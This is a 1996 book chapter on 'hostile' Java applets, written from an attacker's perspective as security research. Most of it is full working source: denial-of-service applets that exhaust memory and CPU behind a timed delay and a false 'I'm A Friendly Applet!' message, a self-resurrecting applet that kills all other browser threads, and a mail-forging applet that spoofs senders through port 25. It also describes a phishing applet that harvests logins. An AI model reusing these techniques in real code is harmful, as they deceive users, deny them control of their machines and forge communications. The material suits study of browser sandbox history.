Hostile Applets on the Horizon

Copyright (c) 1996 Mark D. LaDue

1. Introducing Hostile Applets

This article adopts a hacker's-eye-view of Java and introduces the subject of hostile applets.

Definition: A hostile applet is any applet which, when downloaded, attempts to monopolize or exploit your system's resources in an inappropriate manner. An applet which performs, or causes you to perform, an action which you would not otherwise care to do should be deemed hostile. Denial-of-service applets, mail forging applets, and applets which surreptitiously run other people's program on your workstation are all clear-cut examples of hostile applets. But the definition is problematic. Is an applet which annoys you, perhaps on account of some programming error, to be regarded as hostile? Is an applet hostile just because you don't approve of its effects? Have you tacitly consented to every possible effect by virtue of using a Java-enabled browser? These are just a few of the thorny issues waiting to be resolved.

Taking an adversarial approach, we use the power of the language to probe for weaknesses. Our goal in presenting examples of hostile applets is not simply to annoy and harrass web surfers just for the sport of it, though clearly that is one potential side-effect. Rather, our goal is to illustrate, by means of concrete examples, some serious issues that remain to be addressed. We believe that doing so will ultimately strengthen both Java and Internet security.

2. Challenges for the Hacker

Sun's web page, "Frequently Asked Questions - Applet Security" (http://java.sun.com/sfaq/index.html), introduces most of the important activities that Java applets are not allowed to do. Their stated goals are to prevent applets from "inspecting or changing files on a client file system" and "using network connections to circumvent file protections or people's expectations of privacy." Of particular interest are the summary of applet capabilities and the accompanying examples. The challenge for the hacker is to replace "no" (applets can't do that) with "yes" (sure they can!) as many time as possible. As Sun's examples show, we cannot expect a straightforward approach to challenging Java Security to work. Nevertheless, several security bugs have already been discovered, and it is possible to expose others by exploiting the language in unexpected ways.

Recently several security flaws were discovered in both the 1.0 release of the Java Developer's Kit (JDK) and the 2.0 version of Netscape's Navigator. In February 1996 Drew Dean, Ed Felten, and Dan Wallach of Princeton University announced their successful "DNS Attack Scenario." Under this scenario an applet could establish a network connection to an arbitrary host. The key to success here was the Java applet security manager's performing dynamic DNS lookups. Instead of determining an applet's numerical IP address as it was downloaded and allowing it to connect only to that address, the applet security manager would allow it to connect to any IP address associated with the host name from which it came. Thus the security manager was actually enforcing a rule much weaker than what Sun had claimed. A purveyor of hostile applets running his own domain name resolver could then advertise a false IP address and have his applets open network connections to that address, thereby circumventing one of Java's intended rules.

While Dean, Felten, and Wallach never publicly released their hostile applet (which they said exploited an old sendmail bug to make their point), the potential for mischief was recognized at once. In their initial public report (http://www.cs.princeton.edu/~ddean/java/) the Princeton researchers outlined how an applet could make connections behind firewalls, employ SATAN, and spread web viruses. Within days Netscape Communications had issued a patch to the 2.0 version of their Navigator, and on March 5 CERT issued an advisory (ftp://cert.org/pub/cert_advisories/CA-96.05.java_applet_security_mgr). Both Netscape 2.01 and JDK 1.0.1 have fixed this security flaw.

A second serious flaw also existed in JDK 1.0 and Netscape 2.0. This one, discovered by David Hopwood (http://sable.ox.uk/~lady0065/ java/bugs/tech.html) involved the classloader. By deliberately modifying a class file, or modifying the Java compiler to produce such an altered class file, it was possible to invoke a class name beginning with either "/" or "\." As javac cannot produce such a class reference, the classloader should have rejected any class file that sought to do this. But in fact these altered class files could pass through the classlader undetected. Thus an applet could bypass the Java security manager, refer to files by their absolute path names, and load native code libraries. Once again the hostile applet was not publicly displayed, and this security bug was corrected in both Netscape 2.01 and JDK 1.0.1.

More recently, in late March 1996, another serious security breech has been revealed. This one has been reported by the Princeton team of Dean, Felten, and Wallach, and it involves the Java bytecode verifier. Through another flaw in the implementation of the Java secuity model, still present in JDK 1.0.1 and Netscape 2.01, it is possible for an applet to execute through the browser any command that the user is allowed to execute on the system. In particular, a cleverly designed hostile applet can read, modify, and delete files at will. While Sun and Netscape are still actively working on this problem, details of the attack are not being revealed. CERT has issued a timely advisory (ftp://cert.org/pub/ cert_advisories/CA-96.07.java_bytecode_verifier), and patches will soon be available from both Netscape and Sun.

The ongoing research at Princeton and Oxford has shown the potentially deleterious effects of hostile applets. So far these applets have only appeared under controlled conditions and have not been set loose to wreak havoc on the Web. But other sorts of hostile applets do exist, are easily written, and are readily available on the Web. One collection has already appeared on the "Hostile Applets Home Page" (http://www.math.gatech.edu/ ~mladue/HostileApplets.html), and DigiCrime (http://www.digicrime.com/) has promised that more are on the way. While the hostile applets which are publicly available may pale in comparison to their Ivy League cousins, their potential for mischief should not be underestimated. In the rest of this chapter we will consider concrete examples of applets which can:

  1. Annoy you with a very noisy bear who refuses to be quiet;
  2. Bring your browser to a grinding halt;
  3. Make your browser start barking and then exit;
  4. Attack your workstation with big windows, wasteful calculations, and more noise, effectively excluding you from the console;
  5. Pop up an untrusted applet window minus the warning and ask you for a login and password;
  6. Kill all other applets and defend themselves from ThreadDeath;
  7. Forge electronic mail;
  8. Obtain your user name;
  9. Exploit your workstation to run someone else's program and report back the results.

Note: The examples discussed in this chapter and included on the accompanying cd were developed and tested on a Sun Sparcstation 5 running Solaris 2.5 and OpenWindows 3.5. They have also been tested ona DEC Alpha running Digital UNIX V3.2C. Their effectiveness under Windows 95 and MacOs varies from machine to machine. While these examples are somewhat inelegant hacks, they do serve to illustrate various issues which need to be addressed in the Java community.

3. A Very Noisy Bear

Writing a clock applet has become a virtual rite of passage for the would-be Java programmer. So it seems appropriate that our first applet should be a clock applet that goes awry. Listing 30a.1 displays the applet NoisyBear.java.

Listing 30a.1: NoisyBear.java


import java.applet.AudioClip;
import java.awt.*;
import java.util.Date;

public class NoisyBear extends java.applet.Applet implements Runnable {
    Font timeFont = new Font("TimesRoman", Font.BOLD, 24);
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
    Date rightNow;
    Thread announce = null;
    Image bearImage;
    Image offscreenImage;
    Graphics offscreenGraphics;
    AudioClip annoy;
    boolean threadStopped = false;

    public void init() {
    bearImage = getImage(getCodeBase(), "Pictures/sunbear.jpg");
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();
    annoy = getAudioClip(getCodeBase(), "Sounds/drum.au");    
    }

    public void start() {
        if (announce == null) {
        announce = new Thread(this);
        announce.start();
        }
    }

    public void stop() {
        if (announce != null) {
        //if (annoy != null) annoy.stop();  //uncommenting stops the noise
        announce.stop();
        announce = null;
        }
    }

    public void run() {
        if (annoy != null) annoy.loop();
        while (true) {
        rightNow = new Date();
        repaint();
        try { Thread.sleep(1000); }
        catch (InterruptedException e) {}
        }
    }

    public void update(Graphics g) {
//        g.clipRect(125, 150, 350, 50);
        paint(g);
    }

    public void paint(Graphics g) {
        int imwidth = bearImage.getWidth(this);
        int imheight = bearImage.getHeight(this);

     offscreenGraphics.drawImage(bearImage, 0, 0, imwidth, imheight, this);
     offscreenGraphics.setColor(Color.white);
     offscreenGraphics.fillRect(125, 150, 350, 100);
     offscreenGraphics.setColor(Color.blue);
     offscreenGraphics.drawRect(124, 149, 352, 102);
     offscreenGraphics.setFont(timeFont);
     offscreenGraphics.drawString(rightNow.toString(), 135, 200);
     offscreenGraphics.setFont(wordFont);
     offscreenGraphics.drawString("It's time for me to annoy you!", 135, 225);
     g.drawImage(offscreenImage, 0, 0, this);
    }

    public boolean mouseDown(Event evt, int x, int y) {
        if (threadStopped) {
            announce.resume();
        }
        else {
            announce.suspend();
        }
        threadStopped = !threadStopped;
        return true;
    }
}

The applet is friendly for the most part. It uses double buffering to smoothly superimpose a simple clock over the bear's image and update the clock. The applet's stop() method allows you to stop and restart the clock by clicking on it. But notice that this does not stop the sound. Now journey to another web page, and the sound continues. To escape from this very noisy bear, you will have to somehow kill the thread running annoy.loop(), disable your audio, or quit the browser, all of which are inconvenient. Therein lies the hostile feature of the applet.

Now look at the stop() method in NoisyBear.java, and observe that we have commented out the line which would silence the Noisy Bear. By doing so we have turned a harmless, if somewhat inane, clock applet into a hostile applet. We have taken a powerful and useful feature of Java, the ability to play sound in the background, and subverted it. In this case we left the commented line in the stop() method to illustrate our point. Uncomment the line and compile the applet again, and the Noisy Bear becomes well-behaved.

This simple example offers several lessons. First, just as annoy.loop() continued ad nauseum, so can any other thread. The Java programmer is not obliged to stop an applet's threads, and he can even override the stop() method to do absolutely nothing. Thus threads may run in the web browser as ghosts of departed applets. We will see that this is the key to building hostile applets. A second observation concerns the use of offscreen graphics objects. While they certainly help to improve the quality of animation, they can be gluttonous consumers of resources. We will see in the next two sections how they can provide safe havens for denial-of-service applets.

From a casual encounter with the Noisy Bear, it would be hard to tell - was there hostile intent, or was it just bad programming? In the rest of the examples in this chapter the answer will be very clear.

4. A Gluttonous Trio

Using our observations about NoisyBear.java, we are now ready to look at a trio of hostile applets. The first two are designed to monopolize your system's resources to such an extent that your browser comes to a grinding halt. The third one makes your browser start barking before it dies from a bus error. Listing 30a.2 shows the first applet of the trio, Consume.java.

Listing 30a.2: Consume.java


import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;

public class Consume extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to our offscreen object
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);

//  This thread will attempt to consume resources
    Thread wasteResources = null;

//  An offscreen Image where all of the real action will occur
    Image offscreenImage;

//  All of the tools necessary to handle the offscreen Image
    Graphics offscreenGraphics;  // Needed to handle the offscreen Image

//  To avoid arrays and have open-ended storage of results
    StringBuffer holdBigNumbers = new StringBuffer(0);

//  Used for the while loop in the run() method
    long n = 0;

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds
    int delay;


/*  Set up a big blue rectangle in the browser and create an offscreen Image */

    public void init() {
    setBackground(Color.blue);
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();

//  Determine how many seconds the thread should sleep before kicking in
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
    }

/*  Create and start the offending thread in the standard way */

    public void start() {
        if (wasteResources == null) {
        wasteResources = new Thread(this);
        wasteResources.setPriority(Thread.MAX_PRIORITY);
        wasteResources.start();
        }
    }

/*  We won't stop anything */

    public void stop() {}


/*  
    This method repeatedly appends a very large integer to
    a StringBuffer. It can sleep for a specified length 
    of time in order to give the browser enough
    time to go elsewhere before it insidious effects
    become apparent. */

    public void run() {
        try {Thread.sleep(delay);}
        catch (InterruptedException e) {}
        while (n >= 0) {
        try { holdBigNumbers.append(0x7fffffffffffffffL); }
        catch (OutOfMemoryError o) {}
        repaint();
        n++;
        }
    }

    public void update(Graphics g) {
        paint(g);
    }

/*  Paints to the offscreen Image */

    public void paint(Graphics g) {
    offscreenGraphics.setColor(Color.white);
    offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
    offscreenGraphics.setColor(Color.blue);
    offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
    }

}

The applet, when downloaded, appears to be completely inert - it simply displays a blue rectangle in your browser. The real action takes place in a thread. The init() method creates offscreen Image and Graphics objects and reads in a parameter which specifies how long the hostile thread should sleep before going to work. While start() creates this thread, stop() does absolutely nothing to control it. The applet's run() method first allows the thread to sleep for the desired length of time. Then the hostile activity occurs in a while loop. Here the maximum 64 bit signed integer is repeatedly appended to a Stringbuffer, and the result is displayed offscreen. This quickly overwhelms the browser with useless activity.

Several aspects of this hostile applet are worth noting:

  1. It runs in a thread in the browser, and its hostile activities take place out of sight.
  2. Its stop() method does nothing.
  3. It has a parameter which makes the hostile thread sleep for a specified amount of time. This allows the browser to go elsewhere before the hostile effects become apparent, so that their origin can be obscured.

Consume.java brings your browser to halt by monopolizing both CPU and memory, but monopolizing either suffices to hang your browser. Almost any expensive numerical routine could be used in place of appending large integers to a Stringbuffer. Raising a large matrix to a high power, trying to factor large integers, and calculating the digits of pi would all have this effect if done with an eye toward ineffiency, and the reader can no doubt think of dozens more. As an example, Listing 30a.3 displays the second member of the trio, Wasteful.java, which employs calculating the Fibonacci sequence recursively. Here it is the recursive function calls which consume CPU and halt the browser.

Listing 30a.3: Wasteful.java


import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;

public class Wasteful extends java.applet.Applet implements Runnable {
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
    Thread wasteResources = null;
    Image offscreenImage;
    Graphics offscreenGraphics;
    boolean threadStopped = false;
    StringBuffer holdResults = new StringBuffer(0);
    long n = 0;
    int delay;

    public void init() {
    setBackground(Color.blue);
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
    }

    public void start() {
        if (wasteResources == null) {
        wasteResources = new Thread(this);
        wasteResources.setPriority(Thread.MAX_PRIORITY);
        wasteResources.start();
        }
    }

    public void stop() {} //doesn't stop anything


    public void run() {
        try {Thread.sleep(delay);}
        catch(InterruptedException e) {}
        while (n >= 0) {
        holdResults.append(fibonacci(n));
        repaint();
        n++;
        }
    }

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {

     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
     offscreenGraphics.setColor(Color.blue);
     offscreenGraphics.drawString(holdResults.toString(), 10, 10);
    }

    public long fibonacci(long k) {
        if (k == 0 || k == 1)
            return k;
        else
            return fibonacci(k - 1) + fibonacci(k - 2);
    }
}

The third applet of the trio, HostileThreads.java, adds a new twist to the previous two - it attempts a crude sort of self-defense with a "big windows" attack in case it throws an error. Listing 30a.4 shows this hostile applet.

Listing 30a.4: HostileThreads.java


import java.awt.*;
import java.applet.AudioClip;
import java.net.*;

public class HostileThreads extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window 
    Font bigFont = new Font("TimesRoman", Font.BOLD, 36);

    Thread controller = null;
    Thread wasteResources[] = new Thread[1000000];

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds before taking effect
    int delay;

//  Your browser will die barking! 
    AudioClip bark;

    public void init() {
        setBackground(Color.white);
        bark = getAudioClip(getCodeBase(),"Sounds/bark.au");

//  Determine how many seconds the thread should sleep before kicking in
        String str = getParameter("wait");
        if (str == null)
            delay = 0;
        else delay = (1000)*(Integer.parseInt(str));
        try {
            for (int i = 0; i < 1000000; i++) {
                wasteResources[i] = null;
            }
        }
        catch (OutOfMemoryError o) {}
//  It may be better not to defend here
//        finally {
//            AttackThread geteven = new AttackThread();
//            Thread killer = new Thread(geteven);
//            killer.setPriority(Thread.MAX_PRIORITY);
//            killer.start();
//        }
    }


/*  Create and start the main thread in the standard way */

    public void start() {
        if (controller == null) {
        controller = new Thread(this);
        controller.setPriority(Thread.MAX_PRIORITY);
        controller.start();
        }
    }


/*  Do nothing, as usual */
    public void stop() {}


/*  Open lots of threads which do lots of wasteful stuff */

    public void run() {

//  Let the applet tell its lie
        repaint();

//  Let the applet sleep for a while to avert suspicion
        try {controller.sleep(delay);}
        catch(InterruptedException e) {}

//  Make it bark when it awakens and goes to work
        bark.loop();
        try {controller.sleep(3000);}
        catch (InterruptedException e) {}
        try {
            for (int i = 0; i < 1000000; i++) {
                if (wasteResources[i] == null) {
                AttackThread a = new AttackThread(); 
                wasteResources[i] = new Thread(a);
                wasteResources[i].setPriority(Thread.MAX_PRIORITY);
                wasteResources[i].start();
                }
            } 
        }
        catch (OutOfMemoryError o) {}
        finally {
            AttackThread geteven = new AttackThread();
            Thread killer = new Thread(geteven);
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        } 
    }

/*  Paints the applet's lie */

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(bigFont);
    g.drawString("I'm A Friendly Applet!", 10, 200);
    }
}

Note: Not shown in Listing 30a.4 are the classes AttackThread and Attackframe which are called by the applet. You will find them on the cd. They are adapted from the applet TripleThreat.java which will be discussed at length in the next section.

The goal of the applet is to make your browser die, barking, from a bus error and exit. (Remember from the Java Security FAQ that an applet cannot make your browser exit by issuing a command directly.) Like the other trio members, this applet runs in a thread, overrides stop() to do nothing, and has a parameter to delay its hostile effects. Like NoisyBear.java, it also features an annoying AudioClip (a dog barking in this case) to announce the onset of hostilities. This applet seeks to create a large number of threads, say 1,000,000, with each one carrying out hostile activities. Each thread runs an applet called AttackThread.java which repeatedly opens immense black windows and does useless work to occupy your browser. The net result of this thread competition should be a bus error, which will make your browser exit.

It is quite possible, given all that the applet tries to do, that an OutOfMemoryError will be thrown before any hostile effects occur. The new feature introduced by HostileThreads is the attempt to to defend itself and insure that some hostile activity takes place, even if it is not the intended one (making the browser die barking). Thus it includes try-catch-finally blocks of the form

                    try {do something hostile}
                    catch (OutOfMemoryError o) {}
                    finally {do something else hostile instead}.

Of course throwing an OutOfMemoryError is not the only thing that can go wrong, and so the applet does not defend itself perfectly. But the idea will prove useful later, when we construct an applet killer that defends itself from ThreadDeath.

What lessons can be drawn from these denial-of-service applets? Is there a straightforward solution to their noisome behavior? Perhaps the best solution would be to change the language and impose a non-vacuous stop() method on every applet. Given the unlikelihood of that, browsers should give the user more explicit control over applets and their threads. Giving the user the overriding power to halt applets running rampant (much as some anti-virus software does) would cure many of the ill caused by denial-of-service applets.

Why not do this with an applet instead? We will see later how an applet, AppletKiller.java, can shut down every thread, effectively stopping all running applets and killing every new applet downloaded thereafter. This applet makes an applet-based solution infeasible, and so denial-of-service applets will have to be handled by the browser and the language.

5. Throw Open a Window

As we mentioned in the preceding section, the hostile classes of HostileThreads.java were derived from another applet, TripleThreat.java. This applet is a more serious threat for two reasons. First, its hostile effects tend to disable the keyboard and mouse while the applet runs, making it more disruptive and difficult to control. More ominously , one unintended side effect of its "big windows" attack is the ability of an applet to pop up untrusted Java applet windows minus their usual warning. Listing 30a.5 shows this very nasty applet.

Listing 30a.5: TripleThreat.java


import java.awt.*;
import java.applet.AudioClip;

public class TripleThreat extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window 
    Font wordFont = new Font("TimesRoman", Font.BOLD, 36);

//  This thread will attempt to spew forth huge windows and waste resources 
    Thread wasteResources = null;

//  An offscreen Image where lots of action will take place
    Image offscreenImage;

//  Graphics tools to handle the offscreen Image
    Graphics offscreenGraphics;

//  To avoid arrays and have open-ended storage of results
    StringBuffer holdBigNumbers = new StringBuffer(0);

//  An annoying sound coming through the open window
    AudioClip annoy;

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds
    int delay;

//  A window that repeatedly tries to obscure everything 
    Frame littleWindow;


/*  Set up a big white rectangle in the browser, get the sound, and
    create the offscreen graphics  */ 

    public void init() {
    setBackground(Color.white);
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();

    annoy = getAudioClip(getCodeBase(), "Sounds/whistle.au");

//  Determine how many seconds the thread should sleep before kicking in
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
    }


/*  Create and start the offending thread in the standard way */

    public void start() {
        if (wasteResources == null) {
        wasteResources = new Thread(this);
        wasteResources.setPriority(Thread.MAX_PRIORITY);
        wasteResources.start();
        }
    }

/*  We certainly won't be stopping anything */

    public void stop() {}


/* Start the annoying sound and repeatedly open windows
   while doing lots of other wasteful operations */ 

    public void run() {

//  Let the applet tell its lie
    repaint();

//  Let the applet appear honest by having its thread sleep for a while
        try {Thread.sleep(delay);}
        catch (InterruptedException e) {}

//  Start the senseless noise
    annoy.loop();

//  Now fill the screen with huge windows, one atop another, and do
//  a lots of wasteful stuff!

        while (true) {
        try {
        holdBigNumbers.append(0x7fffffffffffffffL);
        littleWindow = new TripleFrame("ACK!"); // create a window
        littleWindow.resize(1000000, 1000000);  // make it big!
        littleWindow.move(-1000, -1000);  // cover everything
        littleWindow.show();  //  now open the big window 
        }
        catch (OutOfMemoryError o) {}
        repaint();
        }
    }


/*  Paints the applet's lie */

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(wordFont);
    g.drawString("I'm A Friendly Applet!", 10, 200);
    offscreenGraphics.setColor(Color.white);
    offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
    offscreenGraphics.setColor(Color.blue);
    offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
    }
}

/* Makes the big, opaque windows */

class TripleFrame extends Frame {
    Label l;

//  Constructor method
    TripleFrame(String title) {
        super(title);
        setLayout(new GridLayout(1, 1));
        Canvas blackCanvas = new Canvas();
        blackCanvas.setBackground(Color.black);
        add(blackCanvas);
    }
}

Like its gluttonous cousins, TripleThreat runs in a thread, overrides stop() to do nothing, and has a delay parameter that can be set to delay its insidious effects. Once the applet is initialized and its thread starts, it paints its little white lie to the screen and then sleeps for a predetermined length of time. Unfortunately, when this applet awakens, it gets up on the wrong side of the bed. It immediately starts blowing a whistle, and it repeatedly calls the class TripleFrame to open enormous (million-by-million pixel) windows ("ACK!"), piling them one atop another. For good measure, it also imitates its cousin Consume and repeatedly appends the largest integer to a Stringbuffer.

The results are what you might expect - the applet quickly consumes your resources. Because it keeps generating windows, it generates so many mouse events that your mouse becomes useless and you cannot toggle the windows from the keyboard. The applet effectively excludes you from your workstation. At this point you can always reboot (not without risks), or on a network you can go elsewhere, login, and kill the offending processes. Until you do, on a Sun Sparcstation for example, Netscape, OpenWindows, and the windows manager are left to battle it out for your resources, and you are forced to listen to the sound of a distant train whistle coming through the open windows.

You might observe an unintended side effect of TripleThreat. On Sun Sparcstations, DEC Alphas, and Power Macintoshes, the big windows produced by the applet are missing the yellow warning banner proclaiming an "Untrusted Java Applet Window." As you recall from Sun's Java Security FAQ, that should not be possible for security reasons. To illustrate risk here, included on this book's CD-ROM is the applet Ungrateful.java. This applet attempts to pop up such an untrusted Java applet window minus the yellow warning banner. It reports a security threat, seeks a login and password in order to run the browser in a "secure mode" (whatever that might mean), and communicates any results back to a listening ServerSocket. In response, the applet proceeds with a denial-of-service attack against you. This applet was not meant to be convincing, and it is not very successful in practice. But it does serve to illustrate a definite threat when popping up an untrusted applet window in disguise is possible.

6. Survival of the Fittest - Applet Style

After encountering the Hostile Applets Family, you might begin to wonder - is there not some way that you can protect yourself by disabling these hostile applets before they have a chance to attack you? The good news is that there is a way to shut down applets. The bad news is that a hostile applet has already beat you to the punch. Listing 30a.6 displays the Grim Reaper of Java applets.

Listing 30a.6: AppletKiller.java


import java.applet.*;
import java.awt.*;
import java.io.*;

public class AppletKiller extends java.applet.Applet implements Runnable {
    Thread killer;
    
    public void init() {
        killer = null;
    }

    public void start() {
        if (killer == null) {
            killer = new Thread(this,"killer");
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        }
    }

    public void stop() {}    

// Kill all threads except this one

    public void run() {
        try {
            while (true) {
                ThreadKiller.killAllThreads();
                try { killer.sleep(100); }
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath

        finally {
            AppletKiller ack = new AppletKiller();
            Thread reborn = new Thread(ack, "killer");
            reborn.start();
        }
    }
}

class ThreadKiller {

// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go

    public static void killAllThreads() {
        ThreadGroup thisGroup;
        ThreadGroup topGroup;
        ThreadGroup parentGroup;
        
// Determine the current thread group
        thisGroup = Thread.currentThread().getThreadGroup();
        
// Proceed to the top ThreadGroup
        topGroup  = thisGroup;
        parentGroup = topGroup.getParent();
        while(parentGroup != null) {
            topGroup  = parentGroup;
            parentGroup = parentGroup.getParent();
        }
// Find all subgroups by descending recursively 
        findGroups(topGroup);
    }
    
    private static void findGroups(ThreadGroup g) {
        if (g == null) {return;}
        else {
        int numThreads = g.activeCount();
        int numGroups = g.activeGroupCount();
        Thread[] threads = new Thread[numThreads];
        ThreadGroup[] groups = new ThreadGroup[numGroups];
        g.enumerate(threads, false);
        g.enumerate(groups, false);
        for (int i = 0; i < numThreads; i++)
            killOneThread(threads[i]);
        for (int i = 0; i < numGroups; i++)
            findGroups(groups[i]);
        }
    }

    private static void killOneThread(Thread t) { 
        if (t == null || t.getName().equals("killer")) {return;}
        else {t.stop();}
    }   
}

This nasty applet is worth examining in some detail. It begins by creating a thread, explicitly naming it "killer" and setting its priority to MAX_PRIORITY before starting it. Once again the applet's stop() method does nothing, but this time there is no delay - we want to start annihilating other applets as soon as possible. The applet's run() method is particularly simple, and yet it introduces one novel feature of the applet.

The run() method takes the form of a try/catch/finally statement. The try clause contains an infinite while loop that executes the killAllThreads() method of the class ThreadKiller and then sleeps for 100 milliseconds before making another pass through the loop. (This brief pause was found to be necessary in order to avoid overwhelming the browser and hanging it. The figure of 100 milliseconds was chosen empirically - it seems to get the job done, but perhaps a shorter time is possible.) The catch clause handles the ThreadDeath error, but it does nothing and simply passes control to the finally clause.

The finally clause is the novel feature of AppletKiller. The Java language guarantees that this clause will be executed if any portion of the try clause is executed. In the present context, this means that if the applet starts, and if ThreadDeath should occur for whatever reason, then the applet will execute its finally clause. A cursory inspection of this clause shows that it creates a new AppletKiller together with a new thread in which to run the resurrected applet. It also names the thread "killer" and starts it. Thus this hostile applet continues its existence as a ghost which will haunt your browser.

Run the AppletKiller long enough under adverse network conditions, and return to its home page. You may find that the original applet is reported as killed, and yet the applet killing continues unabated. This means that the original AppletKiller's finally clause has been executed, and it is the ghost of the departed applet which is doing the dirty work.

The class ThreadKiller is the actual applet executioner, and it has three methods. The method killAllThreads() starts with current thread group and then ascends to the root thread group, which it passes to the method findGroups(). The method findGroups() enumerates all of its threads and thread groups. Then killAllThreads() passes each thread to killOneThread(), and it passes each thread group back to findGroups(). The method killOneThread() tests a thread and stops it if its name is not "killer." So each pass through the while loop of AppletKiller seeks out and stops every thread except its own. Thus AppletKiller stops all applets which are running when it is downloaded, and it kills all applets that are encountered after that. It is one very nasty applet.

AppletKiller can also serve as a "bodyguard" for other applets. If you take an applet and name all of its threads, and then add the names of these threads to the if clause of the method ThreadKiller.killOneThread(), AppletKiller will then allow only itself and your selected applet to run. So it will be difficult or impossible to defend against hostile applets by deploying an applet for this purpose - AppletKiller would make short shrift of such a guard applet. Defense against hostile applets will have to come from a higher level - from the browser and the language.

Additionally, the construction in the try/catch/finally clause of AppletKiller's run() method might be used to enhance any applet and make it defend itself against ThreadDeath. One might be able to provide continuity between the original applet and its resurrected copy initializing the copy with data from the original. So while AppletKiller is among the nastiest members of the Hostile Applets Family, it does have some helpful insights to offer Java programmers.

7. Port 25, Where are You?

On UNIX systems it is relatively simple to "forge" electronic mail. To get started, look at the file /etc/mail/sendmail.hf for the commands that you need. Then use telnet to connect to port 25 on any machine that will accept a connection and use these commands to interact with sendmail. While this allows you to play nice little tricks on your friends, without any additional subterfuge you are not really forging e-mail at all, as sendmail is at least clever enough to discern your identity and include this in the header. The issue is different, however, if you use do this by using someone else's account without authorization, and that is precisely what the following applet, shown in Listing30a.7, is designed to do.

Listing 30a.7: Forger.java


import java.applet.*;
import java.io.*;
import java.net.*;

public class Forger extends java.applet.Applet implements Runnable { 

    public static Socket socker;
    public static DataInputStream inner;
    public static PrintStream outer;
    public static int mailPort = 25 ;
    public static String mailFrom = "java.sun.com";
    public static String toMe = "venkatr@doppio.Eng.Sun.COM";// Change this!
    public static String starter = new String();
    Thread controller = null;

    public void init() {

	try {
	    socker = new Socket(getDocumentBase().getHost(), mailPort);
	    inner = new DataInputStream(socker.getInputStream());
	    outer = new PrintStream(socker.getOutputStream());
        }
        catch (IOException ioe) {}
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.setPriority(Thread.MAX_PRIORITY);
            controller.start();
        }
    }

    public void stop() {
        if (controller != null) {
            controller.stop();
            controller = null;
        }
    }

    public void run() {
        try {
            starter = inner.readLine();
        }
        catch (IOException ioe) {}
        mailMe("HELO " + mailFrom);
        mailMe("MAIL FROM: " + "HostileApplets@" + mailFrom);
	mailMe("RCPT TO: " + toMe);
	mailMe("DATA");
        mailMe("Subject: About PenPal.java" + "\n" +"Hi Venkat,"  + 
                "\n" + "\n" + 
               "Thanks for taking a look at PenPal.java.  From your note\n" +
               "I think I can understand why you're not seeing the desired\n" +
               "result.  My guess is that perhaps you're only looking at\n" +
               "an abbreviated header from an e-mail note that the applet\n" +
               "forges.  In order to get the whole story, you have to\n" +
               "inspect the full header.  That's where you'll be able to\n" +
               "discern more information about the *sender*.  Of course\n" +
               "that's exactly what my shell script retrieves from\n" +
               "/var/mail/mladue.  None of this is apparent from the\n" +
               "source code, and indeed I noticed it quite by accident \n" +
               "when I was fiddling around trying to make my mail forging\n" + 
               "applet work.  Perhaps it's a peculiarity of the mail\n" +
             "system here in the School of Mathematics, but it really works\n"+
               "for me here.  So I hope that's what it is and that you'll\n" +
               "be able to reproduce my results there.\n" +
               "\n" + "Mark LaDue\n" + "mladue@math.gatech.edu\n" + "\n" +
               "\n" + "P.S. Of course one of my applets forged this note.\n" +
               "\n." + "\n"); 
        mailMe("QUIT");
        try {
            socker.close();
        }
        catch (IOException ioe) {}
    }

    public void mailMe(String toSend) {
        String response = new String();
        try {
            outer.println(toSend);
            outer.flush();
            response = inner.readLine();
        }
        catch(IOException e) {}
    }
}

Note: Responding to a request from Sun Microsystems, this chapter's author sent the source code for the applet PenPal.java (which is discussed below) to Sun for analysis. When they failed to understand how the applet works, the author used the applet Forger.java to send them a polite reply. The source code in Listing 30a.7 contains the text of that reply, and to this day Sun has not repsonded.

The applet is very simple in its conception and operation. The init() method creates a socket to communicate with port 25 on the applet's home host, a DataInputStream to read lines of text to the socket, and a PrintStream to write lines of text to the socket. Once the applet starts, it uses its mailMe() method to interact with sendmail. mailMe() sends a string to sendmail and returns its response to the applet. The run() method of Forger then follows the command format given in /etc/mail/sendmail.hf to send its e-mail letter.

